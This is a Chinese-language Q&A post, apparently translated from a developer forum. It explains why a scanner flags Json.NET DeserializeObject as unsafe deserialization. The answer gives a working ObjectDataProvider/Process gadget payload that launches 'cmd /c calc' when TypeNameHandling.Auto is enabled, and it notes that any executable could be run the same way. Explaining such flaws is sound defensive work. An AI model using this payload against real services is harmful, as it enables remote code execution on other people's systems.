使用 Json.NET 进行不安全的反序列化

Question

静态安全扫描器在此行标记了我的 C# 代码：

var result = JsonConvert.DeserializeObject<dynamic>(response);

response 将包含来自 Web API 的 JSON 响应。

扫描器已将此标记为“不安全的反序列化”。

有人可以帮助我了解如何利用它吗？ Web 示例并不清楚是否可以在 DeserializeObject 方法本身内或仅在反序列化之后发生漏洞利用。

Answer 1

尝试反序列化这个json：

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用此代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

它将打开 Windows 计算器应用程序。可以运行任何可执行文件或脚本的相同方式。如果您使用 object 而不是 dynamic 或非通用的 DeserializeObject 方法，问题也仍然存在。请注意，如果您不设置 TypeNameHandling = TypeNameHandling.Auto，其他人可以像这样设置全局设置：

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};